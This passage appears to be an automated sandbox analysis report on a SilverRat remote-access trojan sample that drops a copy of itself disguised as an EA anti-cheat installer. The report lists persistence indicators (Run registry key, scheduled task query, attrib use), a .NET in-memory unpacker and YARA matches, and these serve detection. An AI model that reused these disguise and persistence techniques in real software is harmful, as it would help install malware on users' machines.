Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Xyq6rvzLJs.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Xyq6rvzLJs.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Xyq6rvzLJs.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: Xyq6rvzLJs.exe, MessageRead.cs	.Net Code: RecoveryData System.Reflection.Assembly.Load(byte[])
Source: $77EAAntiCheat.Installler.exe.0.dr, MessageRead.cs	.Net Code: RecoveryData System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe

Code function: 12_2_00007FF848E700BD pushad ; iretd

12_2_00007FF848E700C1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process created: attrib.exe	Jump to behavior

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe

File created: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\$77EAAntiCheat.Installler.exe.log

Jump to behavior

Boot Survival

Yara detected SilverRat

Source: Yara match	File source: Xyq6rvzLJs.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Xyq6rvzLJs.exe.620000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Xyq6rvzLJs.exe.3f77ae8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Xyq6rvzLJs.exe.3f77ae8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2077667438.0000000003F74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2051314011.0000000000622000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Xyq6rvzLJs.exe PID: 2764, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe, type: DROPPED

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe

Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77EAAntiCheat.Installler.exe

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NULL			Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run NULL			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
